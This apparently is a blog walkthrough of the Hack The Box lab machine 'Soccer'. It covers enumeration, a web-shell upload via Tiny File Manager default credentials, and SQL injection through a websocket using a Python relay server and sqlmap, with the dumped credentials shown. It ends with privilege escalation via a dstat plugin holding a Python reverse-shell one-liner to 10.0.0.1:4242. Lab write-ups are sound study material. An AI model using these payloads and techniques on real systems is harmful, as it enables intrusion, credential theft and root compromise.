Home Soccer
Post
Cancel

Soccer

Starting with nmap scans we have a few open ports 22 ssh and port 80 webserver that we need to add to /etc/hosts soccer.htb.

start enumerating the host scanning for subdomains with wfuzz and subdirectories with feroxbuster

  • wfuzz -c -w /usr/share/seclists/Discovers/DNS/bitquard-subdomains-top100000.txt - 'http://soccer.htb' -H "Host: FUZZ.soccer.htb" --hc 301,302
  • feroxbuster -u http://soccer.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php

During scans we find a “Tiny File Manager

Checking the github the default credentials do work, we can upload a shell here?

/var/www/html/tiny/uploads has permissions to upload and we get a callback as www-data after setting up a listener.

during a linpeas scan we end up finding soc-player.soccer.htb which is another site with a login…

Checking the source on the /check page wqe find a websocket. I’ve literally never had to deal with or know how to deal with this but I found some help? https://book.hacktricks.xyz/pentesting-web/cross-site-websocket-hijacking-cswsh

1
2
3
4
curl -i -s -k -X $'GET' \
    -H $'Host: soc-player.soccer.htb' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Referer: http://soc-player.soccer.htb/check' -H $'Upgrade-Insecure-Requests: 1' -H $'If-None-Match: W/\"12e9-jepY6GiJmK+3NHavK46gs9vINZM\"' \
    -b $'connect.sid=s%3AKI5S00CPO6HI-LF23kQn6GqHwWQxa2Nh.ljAb1hQUlzyU6qz4iPBlLwBKc5n4UNxapAIi%2Fhb0%2Bik' \
    $'http://soc-player.soccer.htb/check'

Inspecting the check page we find a websocket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
        var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
        window.onload = function () {
        
        var btn = document.getElementById('btn');
        var input = document.getElementById('id');
        
        ws.onopen = function (e) {
            console.log('connected to the server')
        }
        input.addEventListener('keypress', (e) => {
            keyOne(e)
        });
        
        function keyOne(e) {
            e.stopPropagation();
            if (e.keyCode === 13) {
                e.preventDefault();
                sendText();
            }
        }
        
        function sendText() {
            var msg = input.value;
            if (msg.length > 0) {
                ws.send(JSON.stringify({
                    "id": msg
                }))
            }
            else append("????????")
        }
        }
        
        ws.onmessage = function (e) {
        append(e.data)
        }
        
        function append(msg) {
        let p = document.querySelector("p");
        // let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
        // p.style.color = randomColor;
        p.textContent = msg
        }

read more about exploiting this here.

We start off by hosting a http.server that will connect to the websocket so we can send through requests to dump the database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091/"

def send_ws(payload):
	ws = create_connection(ws_server)
	# If the server returns a response on connect, use below line	
	#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
	# For our case, format the payload in JSON
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
	data = '{"id":"%s"}' % message

	ws.send(data)
	resp = ws.recv()
	ws.close()

	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass
  • run sqlmap and dump the database sqlmap -u "http://localhost:8081/?id=1" --batch --dbs
1
2
3
4
5
6
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
  • dump the soccer_db sqlmap -u "http://localhost:8081/?id=1" -D soccer_db --dump
1
2
3
4
5
6
7
8
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+
  • login via ssh

  • find / -type f -perm -u=s 2>/dev/null

We see doas here. check the config for doas

  • find / -name *doas* 2>/dev/null

permit nopass player as root cmd /usr/bin/dstat

this mean we can use doas to execute dstat as root

dstat is a tool for generating system resouce statustics it allows users to create custom plugins and execute them by adding the --myplugin options.

find the stat directory

  • find / -type d -name dstat 2>/dev/null

create a plugin in the directory

1
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")

dstat will recognize pluds under this directory. we can check if the plugin has been added by executing dstat --list | grep oskar

after setting up a listener we recieve a root shell.

This post is licensed under CC BY 4.0 by the author.